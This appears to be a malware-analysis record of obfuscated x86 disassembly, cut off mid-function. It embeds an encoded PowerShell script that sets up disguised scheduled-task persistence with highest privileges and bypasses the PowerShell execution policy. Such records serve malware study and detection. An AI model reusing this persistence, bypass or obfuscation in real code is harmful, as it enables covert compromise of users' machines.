Function at 0x1006aed0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x1128
call fcn.100b5b50
mov eax, esp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x1009a5c0
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
sub esp, 4
mov eax, esp
mov dword [eax], str..NET_Framework_NGEN_v4.0.30320
lea ecx, [ebp - 0x38]
call fcn.10006000
mov dword [ebp - 0x10], 0
sub esp, 4
mov eax, esp
lea ecx, [ebp - 0x50]
mov dword [eax], ecx
call fcn.1006ae50
add esp, 4
jmp 0x1006af37
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x10d4], ecx
mov dword [eax], ecx
mov dword [eax + 8], 0xdc
mov dword [eax + 4], str.JHhtbFBhdGggPSAiWE1M6Lev5b6EIgokdGFza05hbWUgPSAi5Lu75Yqh5ZCN56ewIgokeG1sQ29udGVudCA9IEdldC1Db250ZW50IC1QYXRoICR4bWxQYXRoIHwgT3V0LVN0cmluZwpSZWdpc3Rlci1TY2hlZHVsZWRUYXNrIC1YbWwgJHhtbENvbnRlbnQgLVRhc2tOYW1lICR0YXNrTmFtZQPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8CjxUYXNrIHZlcnNpb249IjEuMyIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZG93cy8yMDA0LzAyL21pdC90YXNrIj4KICA8UmVnaXN0cmF0aW9uSW5mbz4KICAgIDxEYXRlPjIwMDYtMTEtMTBUMTQ6Mjk6NTUuNTg1MTkyNjwvRGF0ZT4KICAgIDxBdXRob3ITWljcm9zb2Z0IENvcnBvcmF0aW9uPC9BdXRob3ICiAgICA8RGVzY3JpcHRpb245pu05paw55So5oi355qEIEFEIFJNUyDmnYPpmZDnrZbnlaXmqKHmnb_jgILlpoLmnpzlr7nmnI3liqHlmajkuIrmqKHmnb_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.xmlpowershell__Command__Set_ExecutionPolicy_Unrestricted__Scope_CurrentUser_powershell__ExecutionPolicy_Bypass__File_.
call fcn.101f4710
add esp, 0xc
mov eax, dword [ebp - 0x10d4]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x64]
mov dword [ebp - 0x60], eax
lea esi, [ebp - 0x141]
mov ecx, esi
call fcn.10005430
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x10], 1
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0x5c]
call fcn.1006d510
jmp 0x1006afa3
mov eax, dword [0x10285c7c]
or eax, dword [0x10285c80]
xor eax, 0xcb1c8300
imul eax, eax, 0x80ea52b9
add eax, 0x685c70d4
cmp eax, 0xe82e9da6
jae 0x1006ca57
mov eax, dword [0x10285c84]
xor eax, dword [0x10285c88]
mov ecx, eax
xor ecx, 0xf010f394
xor ecx, 0xffffffff
or eax, 0xf010f394
and eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x64994857
and eax, 0x9b66b7a8
sub eax, ecx
xor eax, 0xdf8ce0a2
mov dword [ebp - 0x10e0], eax
lea ecx, [ebp - 0xbbc]
lea eax, [0x1022bff8]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xa64
call fcn.101f4710
add esp, 0xc
lea eax, [ebp - 0xbbc]
mov dword [ebp - 0x158], eax
lea eax, [ebp - 0xbbc]
add eax, 0xa64
mov dword [ebp - 0x154], eax
lea ecx, [ebp - 0xbbd]
call fcn.10005430
mov eax, dword [ebp - 0x10e0]
mov ecx, dword [ebp - 0x158]
mov dword [ebp - 0x10dc], ecx
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x10d8], ecx
cmp eax, 0x6831c737
je 0x1006afc9
mov ecx, dword [ebp - 0x10dc]
mov edx, dword [ebp - 0x10d8]
mov dword [ebp - 0x10], 2
sub esp, 0xc
mov eax, esp
lea esi, [ebp - 0xbbd]
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0x150]
call fcn.1006d510
jmp 0x1006b0b0
mov dword [ebp - 0x10], 3
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0x5c]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xbd8]
mov dword [eax], ecx
call fcn.10069100
add esp, 8
jmp 0x1006b0d7
mov dword [ebp - 0x10], 4
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0x150]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xbf0]
mov dword [eax], ecx
call fcn.10069100
add esp, 8
jmp 0x1006b101
lea ecx, [ebp - 0xc08]
call fcn.10008f70
lea ecx, [ebp - 0xc20]
call fcn.10008f70
mov dword [ebp - 0x10], 0x2e
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xbd8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xc38]
mov dword [eax], ecx
call fcn.100653c0
add esp, 8
jmp 0x1006b141
mov ecx, dword [0x10285c8c]
mov esi, dword [0x10285c90]
mov edi, esi
xor edi, 0xffffffff
mov edx, ecx
and edx, edi
mov eax, ecx
or eax, edi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, esi
or ecx, esi
imul ecx, edx
add ecx, eax
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0x1d059e26
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x62ad307f
and ecx, 0x9d52cf80
or eax, ecx
xor eax, 0x947acba6
imul eax, eax, 0x6e4ff819
cmp eax, 0x9e6c0b38
je 0x1006caaa
sub esp, 4
mov eax, esp
lea ecx, [ebp - 0xc38]
mov dword [ebp - 0x10e4], ecx
mov dword [eax], ecx
lea ecx, [ebp - 0xc20]
call fcn.10007d00
mov ecx, dword [ebp - 0x10e4]
call fcn.10006100
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xbf0]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xc50]
mov dword [eax], ecx
call fcn.100653c0
add esp, 8
jmp 0x1006b1f7
sub esp, 4
mov eax, esp
lea ecx, [ebp - 0xc50]
mov dword [ebp - 0x10e8], ecx
mov dword [eax], ecx
lea ecx, [ebp - 0xc08]
call fcn.10007d00
mov ecx, dword [ebp - 0x10e8]
call fcn.10006100
mov dword [ebp - 0x10], 7
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xc70]
mov dword [eax], ecx
mov dword [eax + 4], 0x1c
call fcn.1006a350
add esp, 8
jmp 0x1006b24d
mov byte [ebp - 0xca8], 0xce
mov byte [ebp - 0xca7], 0xc4
mov byte [ebp - 0xca6], 0xbc
mov byte [ebp - 0xca5], 0xfe
mov byte [ebp - 0xca4], 0xbe
mov byte [ebp - 0xca3], 0xf8
mov byte [ebp - 0xca2], 0xb6
mov byte [ebp - 0xca1], 0xd4
mov byte [ebp - 0xca0], 0xc2
mov byte [ebp - 0xc9f], 0xb7
mov byte [ebp - 0xc9e], 0xbe
mov byte [ebp - 0xc9d], 0xb6
lea eax, [ebp - 0xca8]
mov dword [ebp - 0xc9c], eax
lea eax, [ebp - 0xc9c]
mov dword [ebp - 0xc98], eax
lea esi, [ebp - 0xca9]
mov ecx, esi
call fcn.10005430
mov ecx, dword [ebp - 0xc9c]
mov edx, dword [ebp - 0xc98]
mov dword [ebp - 0x10], 8
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xc94]
call fcn.1006d510
jmp 0x1006b2f6
mov dword [ebp - 0x10], 0x2d
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xc94]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xc88]
mov dword [eax], ecx
call fcn.10069100
add esp, 8
jmp 0x1006b320
lea ecx, [ebp - 0xc94]
call fcn.10052500
mov eax, esp
mov dword [ebp - 0x10f0], eax
sub esp, 0x24
mov ecx, esp
mov eax, ecx
mov dword [ebp - 0x10ec], eax
add ecx, 4
mov dword [ebp - 0x10], 9
sub esp, 4
mov eax, esp
lea edx, [ebp - 0xc08]
mov dword [eax], edx
call fcn.1003b970
jmp 0x1006b361
mov eax, dword [ebp - 0x10ec]
lea ecx, [ebp - 0xcc4]
mov dword [eax], ecx
lea ecx, [ebp - 0xc88]
mov dword [eax + 0x1c], ecx
lea ecx, [ebp - 0x50]
mov dword [eax + 0x20], ecx
call fcn.10066bc0
add esp, 0x24
jmp 0x1006b38b
mov eax, dword [ebp - 0x10f0]
mov esp, eax
movsd xmm0, qword [0x1022ca69]
movsd qword [ebp - 0xd13], xmm0
movups xmm0, xmmword [0x1022ca5c]
movups xmmword [ebp - 0xd20], xmm0
lea eax, [ebp - 0xd20]
mov dword [ebp - 0xd08], eax
lea eax, [ebp - 0xd0b]
mov dword [ebp - 0xd04], eax
lea esi, [ebp - 0xd21]
mov ecx, esi
call fcn.10005430
mov ecx, dword [ebp - 0xd08]
mov edx, dword [ebp - 0xd04]
mov dword [ebp - 0x10], 0xa
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xd00]
call fcn.1006d510
jmp 0x1006b406
mov dword [ebp - 0x10], 0x2b
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xd00]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xcf4]
mov dword [eax], ecx
call fcn.10069100
add esp, 8
jmp 0x1006b430
mov eax, dword [0x10285cac]
add eax, dword [0x10285cb0]
xor eax, 0xe50b2084
mov ecx, eax
xor ecx, 0xc50255d8
and eax, 0x3afdaa27
shl eax, 1
sub eax, ecx
mov ecx, eax
and ecx, 0x8448bdb4
mov edx, eax
xor edx, 0x7bb7424b
add eax, edx
sub eax, ecx
cmp eax, 0xc30c1b3a
ja 0x1006cad1
mov dword [ebp - 0x10], 0x2c
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xcf4]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0xc70]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xcdc]
mov dword [eax], ecx
call fcn.1006d5b0
add esp, 0xc
jmp 0x1006b4a3
mov eax, dword [0x10285cbc]
xor eax, dword [0x10285cc0]
mov edx, eax
and edx, 0xa1e63bc
mov ecx, eax
or ecx, 0xa1e63bc
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf5e19c43
or eax, 0xf5e19c43
imul eax, edx
add eax, ecx
mov ecx, 0xf3671b97
xor edx, edx
div ecx
xor eax, 0x67c4a52b
cmp eax, 0x93e2e3e7
ja 0x1006cad6
lea ecx, [ebp - 0xcf4]
call fcn.10006100
lea ecx, [ebp - 0xd00]
call fcn.10052500
lea ecx, [ebp - 0xcdc]
call fcn.10008160
mov ecx, eax
mov dword [ebp - 0x10], 0xb
sub esp, 4
mov eax, esp
mov dword [eax], ecx
lea ecx, [ebp - 0xd3c]
call fcn.10006000
jmp 0x1006b530
mov eax, dword [0x10285ccc]
xor edx, edx
div dword [0x10285cd0]
mov ecx, eax
mov eax, ecx
and eax, 0x97c7e606
or ecx, 0x97c7e606
add eax, ecx
and eax, 0xd1500729
sub eax, 0x41216b95
sub eax, 0x79e7122f
add eax, 0x41216b95
cmp eax, 0x51bc9a31
jae 0x1006cafc
mov eax, dword [0x10285cd4]
xor edx, edx
div dword [0x10285cd8]
mov ecx, 0x4b9a0e71
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0xf90668cd
xor ecx, 0xffffffff
add eax, 0xf90668cd
add eax, 1
add eax, ecx
sub eax, 0x5facae7a
cmp eax, 0x43aeee96
jbe 0x1006b56d
mov dword [ebp - 0x10], 0x2a
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xcc4]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xd3c]
mov dword [eax], ecx
call fcn.10068360
add esp, 8
jmp 0x1006b5d2
mov eax, dword [0x10285cdc]
xor ecx, ecx
sub ecx, dword [0x10285ce0]
add eax, ecx
add eax, 0x2b227af0
add eax, 1
imul eax, eax, 0x8332d98f
add eax, 0x89debe3f
cmp eax, 0x985f8fe6
jae 0x1006cb01
lea ecx, [ebp - 0xd3c]
call fcn.10006100
sub esp, 4
mov eax, esp
mov dword [eax], 0xc8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
mov eax, esp
mov dword [ebp - 0x10f8], eax
sub esp, 0x24
mov eax, esp
mov dword [ebp - 0x10f4], eax
lea ecx, [ebp - 0xcdc]
call fcn.10008160
mov ecx, eax
mov dword [ebp - 0x10], 0xb
sub esp, 4
mov eax, esp
mov dword [eax], ecx
lea ecx, [ebp - 0xd6c]
call fcn.10006000
jmp 0x1006b65a
mov ecx, dword [0x10285cec]
or ecx, dword [0x10285cf0]
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x9f89890e
and ecx, 0x607676f1
or eax, ecx
xor eax, 0x1e3fd432
add eax, 0x253e62cb
mov ecx, eax
xor ecx, 0x13411351
xor ecx, 0xffffffff
and ecx, 0x13411351
shl ecx, 1
sub ecx, 0x13411351
sub eax, ecx
cmp eax, 0x9b61dcb4
jbe 0x1006cb2c
mov byte [ebp - 0xd9f], 0x58
mov byte [ebp - 0xd9e], 0x4d
mov byte [ebp - 0xd9d], 0x4c
mov byte [ebp - 0xd9c], 0xc2
mov byte [ebp - 0xd9b], 0xb7
mov byte [ebp - 0xd9a], 0xbe
mov byte [ebp - 0xd99], 0xb6
lea eax, [ebp - 0xd9f]
mov dword [ebp - 0xd98], eax
lea eax, [ebp - 0xd98]
mov dword [ebp - 0xd94], eax
lea esi, [ebp - 0xda0]
mov ecx, esi
call fcn.10005430
mov ecx, dword [ebp - 0xd98]
mov edx, dword [ebp - 0xd94]
mov dword [ebp - 0x10], 0x27
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xd90]
call fcn.1006d510
jmp 0x1006b72e
mov dword [ebp - 0x10], 0x28
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xd90]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xd84]
mov dword [eax], ecx
call fcn.10069100
add esp, 8
jmp 0x1006b758
mov ecx, dword [ebp - 0x10f4]
add ecx, 4
mov dword [ebp - 0x10], 0x29
sub esp, 4
mov eax, esp
lea edx, [ebp - 0xc20]
mov dword [eax], edx
call fcn.1003b970
jmp 0x1006b77f
mov eax, dword [0x10285cfc]
or eax, dword [0x10285d00]
add eax, 0x906518ae
add eax, 1
imul eax, eax, 0xdd43f9
xor eax, 0x9cdeb36e
cmp eax, 0xcf99cb48
ja 0x1006cb88
mov eax, dword [ebp - 0x10f4]
lea ecx, [ebp - 0xd54]
mov dword [eax], ecx
lea ecx, [ebp - 0xd84]
mov dword [eax + 0x1c], ecx
lea ecx, [ebp - 0xd6c]
mov dword [eax + 0x20], ecx
call fcn.10066bc0
add esp, 0x24
jmp 0x1006b7d5
mov eax, dword [0x10285d0c]
or eax, dword [0x10285d10]
mov ecx, 0x4cc815a
xor edx, edx
div ecx
mov edx, eax
and edx, 0x11dd2db0
mov ecx, eax
or ecx, 0x11dd2db0
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xee22d24f
or eax, 0xee22d24f
imul eax, edx
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xfaa741cb
mov ecx, eax
and ecx, 0x558be34
imul ecx, edx
mov edx, eax
and edx, 0xfaa741cb
or eax, 0xfaa741cb
imul eax, edx
add eax, ecx
cmp eax, 0x4ecbf0c3
jbe 0x1006cbad
mov eax, dword [ebp - 0x10f8]
mov esp, eax
lea ecx, [ebp - 0xd84]
call fcn.10006100
lea ecx, [ebp - 0xd90]
call fcn.10052500
lea ecx, [ebp - 0xd6c]
call fcn.10006100
mov eax, esp
mov dword [ebp - 0x1100], eax
sub esp, 0x24
mov eax, esp
mov dword [ebp - 0x10fc], eax
lea ecx, [ebp - 0x38]
call fcn.10008160
mov ecx, eax
mov dword [ebp - 0x10], 0xc
sub esp, 4
mov eax, esp
mov dword [eax], ecx
lea ecx, [ebp - 0xdd0]
call fcn.10006000
jmp 0x1006b8a8
mov ecx, dword [0x10285d1c]
mov edx, dword [0x10285d20]
mov esi, ecx
xor esi, 0xffffffff
mov eax, edx
and eax, esi
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x1c0c05d7
and eax, 0xe3f3fa28
sub eax, ecx
mov ecx, eax
xor ecx, 0x65a67a14
and eax, 0x9a5985eb
shl eax, 1
sub eax, ecx
mov ecx, eax
and ecx, 0x1575f729
shl ecx, 1
add eax, 0x1575f729
sub eax, ecx
cmp eax, 0xb465186a
jae 0x1006cbe3
mov eax, dword [0x10285d24]
mov esi, dword [0x10285d28]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, esi
and edx, ecx
mov edi, esi
xor edi, 0xffffffff
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
mov ecx, 0xfcc9ac40
xor edx, edx
div ecx
add eax, 0xf69eac77
sub eax, 0x3ef53ef3
sub eax, 0xf69eac77
xor eax, 0xffffffff
or eax, 0xe504cc89
xor eax, 0xffffffff
mov dword [ebp - 0x110c], eax
mov byte [ebp - 0xe04], 0xc8
mov byte [ebp - 0xe03], 0xce
mov byte [ebp - 0xe02], 0xce
mov byte [ebp - 0xe01], 0xf1
mov byte [ebp - 0xe00], 0xc3
mov byte [ebp - 0xdff], 0xfb
mov byte [ebp - 0xdfe], 0xb3
mov byte [ebp - 0xdfd], 0xc6
lea eax, [ebp - 0xe04]
mov dword [ebp - 0xdfc], eax
lea eax, [ebp - 0xe04]
add eax, 8
mov dword [ebp - 0xdf8], eax
lea ecx, [ebp - 0xe05]
call fcn.10005430
mov eax, dword [ebp - 0x110c]
mov ecx, dword [ebp - 0xdfc]
mov dword [ebp - 0x1108], ecx
mov ecx, dword [ebp - 0xdf8]
mov dword [ebp - 0x1104], ecx
cmp eax, 0x2f03dfd
ja 0x1006b903
mov ecx, dword [ebp - 0x1108]
mov edx, dword [ebp - 0x1104]
mov dword [ebp - 0x10], 0x24
sub esp, 0xc
mov eax, esp
lea esi, [ebp - 0xe05]
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xdf4]
call fcn.1006d510
jmp 0x1006ba14
mov dword [ebp - 0x10], 0x25
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xdf4]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xde8]
mov dword [eax], ecx
call fcn.10069100
add esp, 8
jmp 0x1006ba3e
mov ecx, dword [ebp - 0x10fc]
mov eax, dword [0x10285d34]
mov esi, dword [0x10285d38]
mov edx, eax
xor edx, 0xffffffff
mov edi, esi
xor edi, 0xffffffff
or edx, edi
xor eax, 0xffffffff
xor esi, 0xffffffff
or eax, esi
xor edx, 0xffffffff
xor eax, 0xffffffff
or edx, eax
add edx, 0x2a604e88
mov eax, edx
xor eax, 0xffffffff
and eax, 0xd6a9306f
and edx, 0x2956cf90
or eax, edx
xor eax, 0x19925f
add eax, 0x489b1571
add ecx, 4
mov dword [ebp - 0x1110], ecx
cmp eax, 0xb21c97ce
je 0x1006ba3e
mov ecx, dword [ebp - 0x1110]
mov dword [ebp - 0x10], 0x26
sub esp, 4
mov eax, esp
lea edx, [ebp - 0xd54]
mov dword [eax], edx
call fcn.1003b970
jmp 0x1006bac5
mov eax, dword [ebp - 0x10fc]
lea ecx, [ebp - 0xdb8]
mov dword [eax], ecx
lea ecx, [ebp - 0xde8]
mov dword [eax + 0x1c], ecx
lea ecx, [ebp - 0xdd0]
mov dword [eax + 0x20], ecx
call fcn.10066bc0
add esp, 0x24
jmp 0x1006baf2
mov eax, dword [0x10285d44]
xor edx, edx
div dword [0x10285d48]
mov edx, eax
mov eax, dword [ebp - 0x1100]
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xb7795eb1
and edx, 0x4886a14e
or ecx, edx
xor ecx, 0x97bb1bad
sub ecx, 0x3dcdd141
sub ecx, 0x5fb990fd
mov dword [ebp - 0x1114], ecx
mov esp, eax
lea ecx, [ebp - 0xd54]
lea eax, [ebp - 0xdb8]
sub esp, 4
mov dword [esp], eax
call fcn.10007d00
lea ecx, [ebp - 0xdb8]
call fcn.10006100
lea ecx, [ebp - 0xde8]
call fcn.10006100
lea ecx, [ebp - 0xdf4]
call fcn.10052500
lea ecx, [ebp - 0xdd0]
call fcn.10006100
mov eax, dword [ebp - 0x1114]
cmp eax, 0x95a28bdf
ja 0x1006baf2
mov dword [ebp - 0x10], 0xc
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xc70]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf28]
mov dword [eax], ecx
mov dword [eax + 8], 0x1025dc14
call fcn.1006d980
add esp, 0xc
jmp 0x1006bbb9
mov eax, dword [0x10285d4c]
mov ecx, dword [0x10285d50]
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, eax
and ecx, 0x67e7a718
xor ecx, 0xffffffff
add eax, 0x67e7a718
add eax, 1
add eax, ecx
sub eax, 0x2cf0de9
sub eax, 0xd2945aba
add eax, 0x452170ff
add eax, 0xd2945aba
cmp eax, 0x500a6e25
jbe 0x1006cc46
mov eax, dword [0x10285d54]
and eax, dword [0x10285d58]
imul eax, eax, 0x48269363
imul eax, eax, 0xa16f60be
xor eax, 0x4fb8f129
cmp eax, 0xe11e447c
ja 0x1006cc46
mov dword [ebp - 0x10], 0x19
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xf28]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf10]
mov dword [eax], ecx
mov dword [eax + 8], 0x75
call fcn.1006d780
add esp, 0xc
jmp 0x1006bc5b
mov ecx, dword [0x10285d5c]
imul ecx, dword [0x10285d60]
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0x6dd31d71
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
or eax, 0x82cbb1fa
or ecx, 0x7d344e05
and eax, ecx
mov edx, eax
and edx, 0x9561bd3e
mov ecx, eax
or ecx, 0x9561bd3e
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x6a9e42c1
or eax, 0x6a9e42c1
imul eax, edx
add eax, ecx
cmp eax, 0xb4191d55
je 0x1006cc4b
mov eax, dword [0x10285d64]
xor edx, edx
div dword [0x10285d68]
mov ecx, eax
and ecx, 0xf4dc7358
shl ecx, 1
xor eax, 0xf4dc7358
add eax, ecx
sub eax, 0x7dd31ac6
imul eax, eax, 0xc201b337
cmp eax, 0x9ec90ca5
ja 0x1006bcbd
mov dword [ebp - 0x10], 0x1a
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xf10]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xef8]
mov dword [eax], ecx
mov dword [eax + 8], 0x70
call fcn.1006d780
add esp, 0xc
jmp 0x1006bd22
mov dword [ebp - 0x10], 0x1b
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xef8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xee0]
mov dword [eax], ecx
mov dword [eax + 8], 0x64
call fcn.1006d780
add esp, 0xc
jmp 0x1006bd53
mov eax, dword [0x10285d6c]
mov esi, dword [0x10285d70]
mov edi, esi
xor edi, 0xffffffff
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
mov ecx, 0x511f48b5
xor edx, edx
div ecx
sub eax, 0x768702cb
imul eax, eax, 0x7fe6d6e1
cmp eax, 0xa9786d58
je 0x1006cc50
mov dword [ebp - 0x10], 0x1c
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xee0]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xec8]
mov dword [eax], ecx
mov dword [eax + 8], 0x61
call fcn.1006d780
add esp, 0xc
jmp 0x1006bdcc
mov eax, dword [0x10285d84]
xor ecx, ecx
sub ecx, dword [0x10285d88]
sub eax, ecx
imul eax, eax, 0x7aeb76bf
and eax, 0xa08a6614
and eax, 0x6836b48c
cmp eax, 0x418180d2
jae 0x1006cc55
mov dword [ebp - 0x10], 0x1d
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xec8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xeb0]
mov dword [eax], ecx
mov dword [eax + 8], 0x74
call fcn.1006d780
add esp, 0xc
jmp 0x1006be27
mov eax, dword [0x10285d8c]
add eax, dword [0x10285d90]
and eax, 0x6c65862b
and eax, 0x61cbfe34
imul eax, eax, 0x523f0b8c
cmp eax, 0xf3f1db19
ja 0x1006cc5a
mov dword [ebp - 0x10], 0x1e
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xeb0]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe98]
mov dword [eax], ecx
mov dword [eax + 8], 0x65
